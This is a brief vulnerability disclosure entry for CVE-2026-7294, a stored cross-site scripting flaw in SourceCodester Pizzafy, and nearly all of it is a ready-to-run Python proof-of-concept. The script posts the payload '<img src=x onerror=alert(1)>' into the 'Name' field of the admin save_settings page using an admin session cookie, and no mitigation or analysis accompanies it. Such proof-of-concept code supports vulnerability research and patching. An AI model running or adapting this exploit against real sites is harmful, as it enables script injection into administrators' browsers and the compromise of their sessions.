CVE-2026-7294 SourceCodester Pizzafy跨站脚本漏洞

import requests # Target URL url = "http://target.com/admin/index.php?page=save_settings" # Malicious XSS payload payload = '<img src=x onerror=alert(1)>' # Data to be sent, 'Name' is the vulnerable parameter payload_data = { "Name": payload, # Add other necessary parameters based on the form } # Cookies for authentication (Admin privileges required) cookies = { "PHPSESSID": "valid_admin_session_id" } # Send the POST request response = requests.post(url, data=payload_data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully. Verify XSS on admin settings page.") else: print("Failed to inject payload.")